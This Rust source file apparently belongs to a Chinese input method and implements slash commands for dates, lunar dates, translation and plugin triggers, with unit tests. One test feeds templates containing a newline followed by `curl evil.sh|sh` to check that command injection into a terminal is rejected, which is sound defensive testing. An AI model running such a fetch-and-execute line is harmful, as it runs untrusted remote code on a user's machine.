//! `/` mode: the built-in date, time, weekday and lunar date commands, whose rows are the date/time mode's, the translate command, and the command table the host supplies. Letters after `/` filter commands by trigger; a trigger typed out in full lists every reading of its command first. Templates are data: literal text and a closed set of clock placeholders, formatted by `time`, with nothing a table could use to reach anything else.
//!
//! `/fy hello'world` (typed `/fyhello'world`) is the one local input that may leave the machine: the words after the trigger are English for the user's translation service, through `translation_source`, and the answer comes back as a row of its own (`InputSession::apply_command_translation`). Until it does, and whenever no service answers, the row is the English as typed.
use std::collections::HashSet;
use time::format_description::parse_strftime_borrowed;
use time::{Date, Month, PrimitiveDateTime, Time};
use super::date_time::{query_date_time, LocalDateTime, WEEKDAYS};
use crate::types::{CandidateSource, CommandTableEntry, PluginCommand, WordItem};
/// Two pages of the nine-row Windows candidate window; typing more of a trigger narrows the list.
pub const RESULT_LIMIT: usize = 18;
const MAX_RESULT_LIMIT: usize = if super::date_time::RESULT_LIMIT > RESULT_LIMIT {
super::date_time::RESULT_LIMIT
} else {
RESULT_LIMIT
};
/// Commands kept from a host table; the rest are ignored.
pub const TABLE_LIMIT: usize = 256;
pub const TRIGGER_LIMIT: usize = 32;
/// The Windows candidate pipe's text field (`CandidateTextMaxLength` in `shared/contracts/ipc_protocol_limits.h`, the same bound as a quick phrase): a template, and the text it expands to, longer than this could not be delivered.
pub const TEXT_UTF16_LIMIT: usize = 199;
/// 插件触发词的长度：至少 2 个字母，免得占掉单个字母；最多 16 个。
pub const PLUGIN_TRIGGER_LENGTH: std::ops::RangeInclusive<usize> = 2..=16;
/// 插件指令标题的字符数。
pub const PLUGIN_TITLE_CHARS: std::ops::RangeInclusive<usize> = 1..=8;
// 短命令表直接扫描此前的触发词，避免为常见小表创建哈希状态。
const SMALL_COMMAND_TABLE: usize = 64;
const DEFAULT_DATE_FORMAT: &str = "%Y-%m-%d";
const DEFAULT_TIME_FORMAT: &str = "%H:%M";
/// The built-in commands: the date/time mode's keywords, the translate command, and the title shown beside their rows.
const BUILTINS: [(&[&str], &str); 10] = [
(&["rq", "riqi", "date"], "日期"),
(&["sj", "shijian", "time"], "时间"),
(&["xq", "xingqi", "week"], "星期"),
(&["nl", "nongli", "yinli"], "农历"),
(&["jidu"], "季度"),
(&["tianshu"], "天数"),
(&["daojishi"], "倒计时"),
(&["zhou"], "周"),
(&["shengxiao", "shu"], "生肖"),
(TRANSLATE_TRIGGERS, "翻译"),
];
/// The translate command's triggers, longest first so `fanyi` is not read as `f` followed by text.
const TRANSLATE_TRIGGERS: &[&str] = &["translate", "fanyi", "fy"];
/// The English after a translate trigger, words split at `'` and joined by spaces, with the trigger that introduced it; `None` for any other input, for a trigger with nothing after it, and for input a table trigger begins with, which the user may still be typing as their own command. `table` must have gone through `usable_command_table`.
pub fn translation_source(
code: &str,
table: &[CommandTableEntry],
) -> Option<(&'static str, String)> {
if table.iter().any(|entry| entry.trigger.starts_with(code)) {
return None;
}
let trigger = TRANSLATE_TRIGGERS
.iter()
.find(|trigger| code.starts_with(**trigger))?;
let rest = &code[trigger.len()..];
if !rest
.bytes()
.all(|byte| byte.is_ascii_lowercase() || byte == b'\'')
{
return None;
}
let text = join_translation_words(rest);
(!text.is_empty()).then_some((trigger, text))
}
fn join_translation_words(rest: &str) -> String {
let mut text = String::with_capacity(rest.len());
let mut separator = false;
for byte in rest.bytes() {
if byte == b'\'' {
separator = !text.is_empty();
} else {
if separator {
text.push(' ');
separator = false;
}
text.push(char::from(byte));
}
}
text
}
/// Whether a translate command is being typed, so `'` separates its words rather than ending the mode.
pub fn takes_word_separator(code: &str) -> bool {
TRANSLATE_TRIGGERS
.iter()
.any(|trigger| code.len() > trigger.len() && code.starts_with(trigger))
&& code.ends_with(|letter: char| letter.is_ascii_lowercase())
}
/// The rows that are usable of a host table: valid triggers and templates, the first command of a trigger, at most `TABLE_LIMIT`.
pub fn usable_command_table(table: &[CommandTableEntry]) -> Vec<CommandTableEntry> {
let mut usable = Vec::new();
if table.len() <= SMALL_COMMAND_TABLE {
for (index, entry) in table.iter().enumerate() {
if usable.len() == TABLE_LIMIT {
break;
}
if valid_trigger(&entry.trigger)
&& trigger_is_new(table, index, &entry.trigger)
&& fits(&entry.template)
&& template_valid(&entry.template)
{
if usable.capacity() == 0 {
usable.reserve_exact(TABLE_LIMIT.min(table.len()));
}
usable.push(entry.clone());
}
}
return usable;
}
let mut triggers = HashSet::new();
for entry in table {
if usable.len() == TABLE_LIMIT {
break;
}
let trigger_valid = valid_trigger(&entry.trigger);
if trigger_valid {
if triggers.capacity() == 0 {
triggers.reserve(TABLE_LIMIT.min(table.len()));
}
if triggers.insert(entry.trigger.as_str())
&& fits(&entry.template)
&& template_valid(&entry.template)
{
if usable.capacity() == 0 {
usable.reserve_exact(TABLE_LIMIT.min(table.len()));
}
usable.push(entry.clone());
}
}
}
usable
}
fn valid_trigger(trigger: &str) -> bool {
(1..=TRIGGER_LIMIT).contains(&trigger.len())
&& trigger.bytes().all(|byte| byte.is_ascii_lowercase())
}
fn trigger_is_new(table: &[CommandTableEntry], index: usize, trigger: &str) -> bool {
table[..index]
.iter()
.all(|entry| !valid_trigger(&entry.trigger) || entry.trigger != trigger)
}
/// `/` 后字母匹配的命令行，权重按顺序递减；日期完整命令保留全部格式，其他命令最多 `RESULT_LIMIT` 行。精确匹配在前，用户表在内置命令前，`pinyin` 保存触发词；`table` 必须先经过 `usable_command_table`。
pub fn query_command(
code: &str,
now: &LocalDateTime,
table: &[CommandTableEntry],
) -> Vec<WordItem> {
let clock = clock(now);
let limit = if BUILTINS[0].0.contains(&code) {
MAX_RESULT_LIMIT
} else {
RESULT_LIMIT
};
let mut rows: [Option<(String, String)>; MAX_RESULT_LIMIT] = std::array::from_fn(|_| None);
let mut row_count = 0;
let mut push = |trigger: &str, text: String| {
// 有界列表直接扫描，避免每次按键为去重再复制一份文本集合。
if row_count < limit
&& fits(&text)
&& !rows[..row_count]
.iter()
.flatten()
.any(|(_, existing)| existing == &text)
{
rows[row_count] = Some((trigger.to_owned(), text));
row_count += 1;
}
};
if let Some((trigger, text)) = translation_source(code, table) {
push(trigger, text);
}
for exact in [true, false] {
for entry in table {
if (entry.trigger == code) == exact && entry.trigger.starts_with(code) {
if let Some(text) = expand(&entry.template, clock.as_ref()) {
push(&entry.trigger, text);
}
}
}
for (aliases, _) in BUILTINS {
if exact {
if aliases.contains(&code) {
for row in query_date_time(code, now) {
push(code, row.word.into_string());
}
}
} else if !aliases.contains(&code) {
if let Some(alias) = aliases.iter().find(|alias| alias.starts_with(code)) {
if let Some(row) = query_date_time(alias, now).into_iter().next() {
push(alias, row.word.into_string());
}
}
}
}
}
rows.into_iter()
.take(row_count)
.flatten()
.enumerate()
.map(|(index, (trigger, text))| {
WordItem::new(
trigger,
text,
(row_count - index) as i64,
CandidateSource::Generated,
"",
)
})
.collect()
}
/// The title shown beside a row of `trigger`.
pub fn command_title<'a>(trigger: &str, table: &'a [CommandTableEntry]) -> Option<&'a str> {
if let Some(entry) = table.iter().find(|entry| entry.trigger == trigger) {
return Some(&entry.title);
}
BUILTINS
.iter()
.find(|(aliases, _)| aliases.contains(&trigger))
.map(|(_, title)| *title)
}
/// 内置指令的全部触发词（日期、时间、星期、农历和翻译）。插件触发词不能等于它们，也不能和它们互为前缀；client-services 校验插件清单时复制了一份，由一致性测试守着。
pub fn builtin_triggers() -> impl Iterator<Item = &'static str> {
BUILTINS
.iter()
.flat_map(|(aliases, _)| aliases.iter().copied())
}
/// 内置指令的标题，同 [`builtin_triggers`] 一样由 client-services 复制一份。
pub fn builtin_titles() -> impl Iterator<Item = &'static str> {
BUILTINS.iter().map(|(_, title)| *title)
}
/// `arguments = "extended"` 的插件指令在触发词后面另外收的运算符号；数字另算。和 script-runtime 的 `abi::EXTENDED_ARGUMENT_SYMBOLS` 是同一份，由 host-api 的一致性测试守着（引擎不依赖解释器）。
pub const EXTENDED_ARGUMENT_SYMBOLS: &str = ".+-*/%()=,";
/// 插件指令的参数合不合规：小写字母；`extended` 时另外可以有数字和 [`EXTENDED_ARGUMENT_SYMBOLS`]。
pub fn valid_plugin_argument(argument: &str, extended: bool) -> bool {
argument
.bytes()
.all(|byte| byte.is_ascii_lowercase() || (extended && extended_argument_symbol(byte)))
}
/// 数字或 [`EXTENDED_ARGUMENT_SYMBOLS`] 里的一个：只有 `extended` 的指令在参数里收它们。
pub fn extended_argument_symbol(byte: u8) -> bool {
byte.is_ascii_digit() || EXTENDED_ARGUMENT_SYMBOLS.as_bytes().contains(&byte)
}
/// `/` 之后的输入 `code` 已经完整打出了某条 `extended` 插件指令的触发词：之后的数字和运算符号是参数。`plugin` 必须先经过 [`usable_plugin_commands`]。
pub fn extended_trigger_typed(code: &str, plugin: &[PluginCommand]) -> bool {
plugin
.iter()
.any(|command| command.extended && code.starts_with(command.trigger.as_str()))
}
/// 两个触发词相等或一个是另一个的前缀：用户打着其中一个时，分不清是在打哪一个。
fn triggers_overlap(left: &str, right: &str) -> bool {
left.starts_with(right) || right.starts_with(left)
}
fn valid_plugin_trigger(trigger: &str) -> bool {
PLUGIN_TRIGGER_LENGTH.contains(&trigger.len())
&& trigger.bytes().all(|byte| byte.is_ascii_lowercase())
}
fn valid_plugin_title(title: &str) -> bool {
PLUGIN_TITLE_CHARS.contains(&title.chars().count())
&& !title.chars().any(char::is_control)
&& title.trim() == title
}
/// 宿主交来的插件指令里引擎能用的那些，按原顺序：触发词是 2 到 16 个小写字母、标题是 1 到 8 个字符（不含控制字符，首尾不是空白），并且触发词不等于、也不和任何内置触发词、用户指令表的触发词、排在前面的插件触发词互为前缀。用户的指令表永远赢，插件之间先到先得。过滤之后任何两个生效的触发词都没有前缀关系，所以一段输入至多匹配一个。client-services 算有效触发词时，触发词用同一套规则；标题以这里为下限（只拒控制字符和首尾空白），client-services 可以更严。触发词重复时只留第一条合规的，它的标题就是行旁显示的标题（`CandidateQueries::plugin_command_title`）。`table` 必须先经过 `usable_command_table`。
pub fn usable_plugin_commands(
table: &[CommandTableEntry],
plugin: &[PluginCommand],
) -> Vec<PluginCommand> {
let mut usable: Vec<PluginCommand> = Vec::new();
for command in plugin {
let trigger = command.trigger.as_str();
if valid_plugin_trigger(trigger)
&& valid_plugin_title(&command.title)
&& !builtin_triggers().any(|builtin| triggers_overlap(trigger, builtin))
&& !table
.iter()
.any(|entry| triggers_overlap(trigger, &entry.trigger))
&& !usable
.iter()
.any(|earlier| triggers_overlap(trigger, &earlier.trigger))
{
usable.push(command.clone());
}
}
usable
}
/// `/` 之后的输入以某个插件触发词开头、剩下的是这条指令收的参数（小写字母；`extended` 的另外有数字和运算符号，见 [`valid_plugin_argument`]）时，返回（触发词，参数），参数可以为空（`/uuid`）。`plugin` 必须先经过 [`usable_plugin_commands`]，所以至多一个匹配，不需要最长匹配。
pub fn plugin_command_source<'a, 'b>(
code: &'b str,
plugin: &'a [PluginCommand],
) -> Option<(&'a str, &'b str)> {
let command = plugin
.iter()
.find(|command| code.starts_with(command.trigger.as_str()))?;
let argument = &code[command.trigger.len()..];
valid_plugin_argument(argument, command.extended)
.then_some((command.trigger.as_str(), argument))
}
fn fits(text: &str) -> bool {
text.encode_utf16().count() <= TEXT_UTF16_LIMIT
}
/// The wall clock as a `time` value, `None` for the zero clock a failed read leaves behind.
fn clock(now: &LocalDateTime) -> Option<PrimitiveDateTime> {
let month = Month::try_from(u8::try_from(now.month).ok()?).ok()?;
let date = Date::from_calendar_date(now.year, month, u8::try_from(now.day).ok()?).ok()?;
let time = Time::from_hms(
u8::try_from(now.hour).ok()?,
u8::try_from(now.minute).ok()?,
u8::try_from(now.second).ok()?,
)
.ok()?;
Some(PrimitiveDateTime::new(date, time))
}
/// Whether every placeholder of the template is one `expand` knows, checked by expanding it against a fixed instant.
fn template_valid(template: &str) -> bool {
expand(template, Some(&PrimitiveDateTime::MIN)).is_some()
}
/// The template with its placeholders replaced; `None` for a malformed template, for one that needs the clock when there is none, or for text with a control character. A candidate row shows one line, so a newline or tab (literal, or `%n`/`%t` in a format) would reach the application unseen: a line break in a terminal runs whatever follows it.
fn expand(template: &str, clock: Option<&PrimitiveDateTime>) -> Option<String> {
let mut output = String::with_capacity(template.len());
let mut rest = template;
while let Some(open) = rest.find(['{', '}']) {
if rest.as_bytes()[open] == b'}' {
return None;
}
output.push_str(&rest[..open]);
let after = &rest[open + 1..];
let close = after.find(['{', '}'])?;
if after.as_bytes()[close] == b'{' {
return None;
}
let placeholder = &after[..close];
rest = &after[close + 1..];
if placeholder == "weekday" {
let clock = clock?;
output.push_str(WEEKDAYS[usize::from(clock.weekday().number_days_from_sunday())]);
continue;
}
let (name, format) = placeholder.split_once(':').unwrap_or((placeholder, ""));
let format = match (name, format) {
("date", "") => DEFAULT_DATE_FORMAT,
("time", "") => DEFAULT_TIME_FORMAT,
("date" | "time", format) => format,
_ => return None,
};
let items = parse_strftime_borrowed(format).ok()?;
output.push_str(&clock?.format(&items).ok()?);
}
output.push_str(rest);
(!output.chars().any(char::is_control)).then_some(output)
}
#[cfg(test)]
mod tests {
use super::*;
fn now() -> LocalDateTime {
LocalDateTime {
year: 2026,
month: 10,
day: 1,
weekday: 4,
hour: 9,
minute: 5,
second: 7,
}
}
fn entry(trigger: &str, title: &str, template: &str) -> CommandTableEntry {
CommandTableEntry {
trigger: trigger.to_owned(),
title: title.to_owned(),
template: template.to_owned(),
}
}
fn words(rows: &[WordItem]) -> Vec<&str> {
rows.iter().map(|row| row.word.as_str()).collect()
}
#[test]
fn an_unknown_command_does_not_allocate_a_row_buffer() {
let (rows, allocations) =
crate::ime::personal_rerank::allocations::count(|| query_command("zzzz", &now(), &[]));
assert!(rows.is_empty());
assert_eq!(allocations, 0);
}
#[test]
fn a_bare_slash_lists_one_reading_of_every_command() {
let table = usable_command_table(&[entry("sig", "签名", "张三 {date}")]);
let rows = query_command("", &now(), &table);
assert_eq!(
words(&rows),
[
"张三 2026-10-01",
"2026年10月1日",
"09:05",
"星期四",
"丙午年八月二十一日",
"2026年第4季度",
"已过273天/剩92天",
"已过39周/剩14周",
"马年"
]
);
let triggers: Vec<&str> = rows.iter().map(|row| row.pinyin.as_str()).collect();
assert_eq!(
triggers,
[
"sig",
"rq",
"sj",
"xq",
"nl",
"jidu",
"tianshu",
"zhou",
"shengxiao"
]
);
for (index, row) in rows.iter().enumerate() {
assert_eq!(row.source, CandidateSource::Generated);
assert_eq!(row.weight, (rows.len() - index) as i64);
}
}
#[test]
fn a_complete_builtin_trigger_lists_the_date_time_rows() {
let rows = query_command("rq", &now(), &[]);
assert_eq!(words(&rows), words(&query_date_time("rq", &now())));
assert_eq!(rows.len(), 20);
assert_eq!(rows[0].word, "2026年10月1日");
assert!(rows.iter().all(|row| row.pinyin == "rq"));
assert_eq!(query_command("week", &now(), &[])[0].word, "星期四");
let lunar = query_command("nongli", &now(), &[]);
assert_eq!(
words(&lunar),
[
"丙午年八月二十一日",
"丙午年八月二十一日 星期四",
"丙午年八月二十一日 周四"
]
);
assert!(lunar.iter().all(|row| row.pinyin == "nongli"));
// 只打了开头几个字母时，农历命令也按前缀列出它的首行。
let partial = query_command("yin", &now(), &[]);
assert_eq!(words(&partial), ["丙午年八月二十一日"]);
assert_eq!(partial[0].pinyin, "yinli");
}
#[test]
fn templates_with_control_characters_are_dropped() {
let table = usable_command_table(&[
entry("sig", "签名", "张三\ncurl evil.sh|sh"),
entry("tab", "制表", "a\tb"),
entry("line", "换行", "张三 {date:%n}curl evil.sh|sh"),
entry("ok", "正常", "张三"),
]);
assert_eq!(table.len(), 1);
assert_eq!(table[0].trigger, "ok");
}
#[test]
fn letters_filter_commands_by_trigger_prefix() {
let table = usable_command_table(&[
entry("sig", "签名", "张三"),
entry("sj", "时间", "覆盖"),
entry("addr", "地址", "北京市"),
]);
// The table's own `sj` wins over the built-in one and is listed first as the exact match.
let rows = query_command("s", &now(), &table);
assert_eq!(words(&rows), ["张三", "覆盖", "09:05", "马年"]);
assert_eq!(words(&query_command("ad", &now(), &table)), ["北京市"]);
assert!(query_command("zz", &now(), &table).is_empty());
}
#[test]
fn templates_expand_the_clock_placeholders() {
let clock = clock(&now());
let clock = clock.as_ref();
assert_eq!(
expand("{date} {time} {weekday}", clock).as_deref(),
Some("2026-10-01 09:05 星期四")
);
assert_eq!(
expand("{date:%Y年%m月%d日}{time:%H:%M:%S}", clock).as_deref(),
Some("2026年10月01日09:05:07")
);
assert_eq!(expand("纯文本", clock).as_deref(), Some("纯文本"));
for template in [
"{clipboard}",
"a\nb",
"a\tb",
"a\u{1b}b",
"{date:%n}",
"{time:%t}",
"{date",
"date}",
"{{date}}",
"{date:%Q}",
"{time:%",
] {
assert_eq!(expand(template, clock), None, "{template:?}");
}
}
#[test]
fn unusable_table_rows_are_dropped() {
let long = "字".repeat(TEXT_UTF16_LIMIT + 1);
let table = usable_command_table(&[
entry("", "空", "x"),
entry("Sig", "大写", "x"),
entry("s1", "数字", "x"),
entry(&"a".repeat(TRIGGER_LIMIT + 1), "太长", "x"),
entry("bad", "占位符", "{clipboard}"),
entry("big", "太长", &long),
entry("ok", "第一", "一"),
entry("ok", "第二", "二"),
]);
assert_eq!(table, [entry("ok", "第一", "一")]);
let many: Vec<CommandTableEntry> = (0..TABLE_LIMIT + 10)
.map(|index| {
let trigger: String = format!("{index:04}")
.bytes()
.map(|digit| char::from(b'a' + digit - b'0'))
.collect();
entry(&trigger, "t", "x")
})
.collect();
assert_eq!(usable_command_table(&many).len(), TABLE_LIMIT);
}
#[test]
fn usable_command_table_reserves_the_input_bound() {
let table = [
entry("a", "甲", "一"),
entry("b", "乙", "二"),
entry("c", "丙", "三"),
];
assert_eq!(usable_command_table(&table).capacity(), table.len());
}
#[test]
fn all_invalid_command_rows_do_not_allocate_filter_state() {
let table: Vec<_> = (0..=SMALL_COMMAND_TABLE)
.map(|index| entry(&format!("Bad{index}"), "无效触发词", "文本"))
.collect();
let (usable, allocations) =
crate::ime::personal_rerank::allocations::count(|| usable_command_table(&table));
assert!(usable.is_empty());
assert_eq!(allocations, 0);
}
#[test]
fn short_command_table_trigger_scan_uses_no_temporary_heap_state() {
let table = vec![
entry("a", "无效模板", "{clipboard}"),
entry("b", "乙", "二"),
entry("c", "丙", "三"),
];
let (is_new, allocations) =
crate::ime::personal_rerank::allocations::count(|| trigger_is_new(&table, 2, "c"));
assert!(is_new);
assert_eq!(allocations, 0);
}
#[test]
fn short_command_table_trigger_scan_keeps_invalid_templates_seen() {
let table = [
entry("dup", "无效模板", "{clipboard}"),
entry("dup", "有效", "二"),
];
assert!(!trigger_is_new(&table, 1, "dup"));
assert_eq!(
usable_command_table(&table),
Vec::<CommandTableEntry>::new()
);
}
#[test]
fn a_command_needing_an_unreadable_clock_is_not_shown() {
let table =
usable_command_table(&[entry("d", "日期", "{date}"), entry("t", "文本", "文本")]);
let rows = query_command("", &LocalDateTime::default(), &table);
assert_eq!(rows[0].word, "文本");
// The built-in rows read the zero clock the way the date/time mode always has.
assert!(rows.iter().all(|row| row.pinyin != "d"), "{rows:?}");
}
#[test]
fn titles_come_from_the_table_then_the_builtins() {
let table = [entry("sig", "签名", "x")];
assert_eq!(command_title("sig", &table), Some("签名"));
assert_eq!(command_title("riqi", &table), Some("日期"));
assert_eq!(command_title("nl", &table), Some("农历"));
assert_eq!(command_title("fanyi", &table), Some("翻译"));
assert_eq!(command_title("nope", &table), None);
}
#[test]
fn the_translate_command_reads_english_after_its_trigger() {
let source = |code| translation_source(code, &[]);
assert_eq!(source("fyhello"), Some(("fy", "hello".to_owned())));
assert_eq!(
source("fy'hello''world'"),
Some(("fy", "hello world".to_owned()))
);
assert_eq!(source("fanyigood"), Some(("fanyi", "good".to_owned())));
assert_eq!(
source("translatecat"),
Some(("translate", "cat".to_owned()))
);
for code in ["", "f", "fy", "fy'", "fanyi", "translate", "rqx", "hello"] {
assert_eq!(source(code), None, "{code:?}");
}
// A table trigger the input begins is the user's own command, not text to send anywhere.
let table = usable_command_table(&[entry("fyz", "自定义", "x")]);
assert_eq!(translation_source("fyz", &table), None);
assert_eq!(translation_source("fy", &table), None);
assert_eq!(
translation_source("fyx", &table),
Some(("fy", "x".to_owned()))
);
assert!(takes_word_separator("fyhello"));
assert!(!takes_word_separator("fy"));
assert!(!takes_word_separator("fyhello'"));
assert!(!takes_word_separator("rqx"));
}
#[test]
fn the_translate_command_shows_the_english_until_a_translation_arrives() {
let rows = query_command("fyhello'world", &now(), &[]);
assert_eq!(words(&rows), ["hello world"]);
assert_eq!(rows[0].pinyin, "fy");
assert_eq!(rows[0].source, CandidateSource::Generated);
// The bare trigger and the bare `/` have no reading to show for it.
assert!(query_command("fy", &now(), &[]).is_empty());
assert!(query_command("", &now(), &[])
.iter()
.all(|row| !TRANSLATE_TRIGGERS.contains(&row.pinyin.as_str())));
}
#[test]
fn translation_words_join_without_empty_segments() {
assert_eq!(join_translation_words("'hello''world'"), "hello world");
}
fn plugin(trigger: &str, title: &str) -> PluginCommand {
PluginCommand {
trigger: trigger.to_owned(),
title: title.to_owned(),
extended: false,
}
}
#[test]
fn only_extended_commands_take_digits_and_operators_after_the_whole_trigger() {
let commands = [
PluginCommand {
extended: true,
..plugin("calc", "计算")
},
plugin("uuid", "UUID"),
];
assert_eq!(
plugin_command_source("calc1+2*(3)", &commands),
Some(("calc", "1+2*(3)"))
);
assert_eq!(
plugin_command_source("calcab", &commands),
Some(("calc", "ab"))
);
assert_eq!(plugin_command_source("calc", &commands), Some(("calc", "")));
assert_eq!(plugin_command_source("uuid4", &commands), None);
assert_eq!(plugin_command_source("calc1 2", &commands), None);
assert_eq!(plugin_command_source("calcA", &commands), None);
assert!(extended_trigger_typed("calc", &commands));
assert!(extended_trigger_typed("calc12", &commands));
assert!(!extended_trigger_typed("cal", &commands));
assert!(!extended_trigger_typed("uuid", &commands));
for byte in b"0123456789.+-*/%()=," {
assert!(extended_argument_symbol(*byte), "{}", char::from(*byte));
}
for byte in b"a'; _#" {
assert!(!extended_argument_symbol(*byte), "{}", char::from(*byte));
}
}
fn triggers(commands: &[PluginCommand]) -> Vec<&str> {
commands
.iter()
.map(|command| command.trigger.as_str())
.collect()
}
#[test]
fn builtin_triggers_and_titles_list_every_command() {
let all: Vec<&str> = builtin_triggers().collect();
assert_eq!(
all,
[
"rq",
"riqi",
"date",
"sj",
"shijian",
"time",
"xq",
"xingqi",
"week",
"nl",
"nongli",
"yinli",
"jidu",
"tianshu",
"daojishi",
"zhou",
"shengxiao",
"shu",
"translate",
"fanyi",
"fy"
]
);
let titles: Vec<&str> = builtin_titles().collect();
assert_eq!(
titles,
[
"日期",
"时间",
"星期",
"农历",
"季度",
"天数",
"倒计时",
"周",
"生肖",
"翻译"
]
);
}
#[test]
fn plugin_triggers_must_not_overlap_builtins_the_table_or_earlier_plugins() {
let table = usable_command_table(&[entry("uu", "我的", "x"), entry("sig", "签名", "x")]);
let usable = usable_plugin_commands(
&table,
&[
// 和内置触发词相等、内置是它的前缀、它是内置的前缀。
plugin("rq", "日期二"),
plugin("fyx", "翻译二"),
plugin("tim", "时间二"),
// 和用户指令表相等或互为前缀。
plugin("uuid", "UUID"),
plugin("si", "签"),
plugin("sig", "签名二"),
// 插件之间：先到先得，相等和互为前缀的后来者都丢掉。
plugin("cz", "拆字"),
plugin("czh", "拆字二"),
plugin("c", "单字母"),
plugin("cz", "重复"),
plugin("guid", "GUID"),
plugin("gu", "前缀"),
// 触发词不合规：太短、太长、大写、数字。
plugin("a", "短"),
plugin(&"q".repeat(17), "长"),
plugin("Abc", "大写"),
plugin("ab1", "数字"),
// 标题不合规：空、9 个字符、控制字符、首尾空白。
plugin("ka", ""),
plugin("kb", "一二三四五六七八九"),
plugin("kc", "a\nb"),
plugin("kd", " 空白"),
// 合规的边界：16 个字母、8 个字符。
plugin(&"p".repeat(16), "一二三四五六七八"),
],
);
let sixteen = "p".repeat(16);
assert_eq!(triggers(&usable), ["cz", "guid", sixteen.as_str()]);
assert_eq!(usable[0].title, "拆字");
}
#[test]
fn plugin_commands_match_a_trigger_followed_by_letters() {
let usable = usable_plugin_commands(&[], &[plugin("uuid", "UUID"), plugin("cz", "拆字")]);
assert_eq!(plugin_command_source("uuid", &usable), Some(("uuid", "")));
assert_eq!(
plugin_command_source("czhuohuo", &usable),
Some(("cz", "huohuo"))
);
for code in ["", "u", "uui", "c", "zz", "czhuo'huo"] {
assert_eq!(plugin_command_source(code, &usable), None, "{code:?}");
}
assert_eq!(plugin_command_source("uuid", &[]), None);
}
}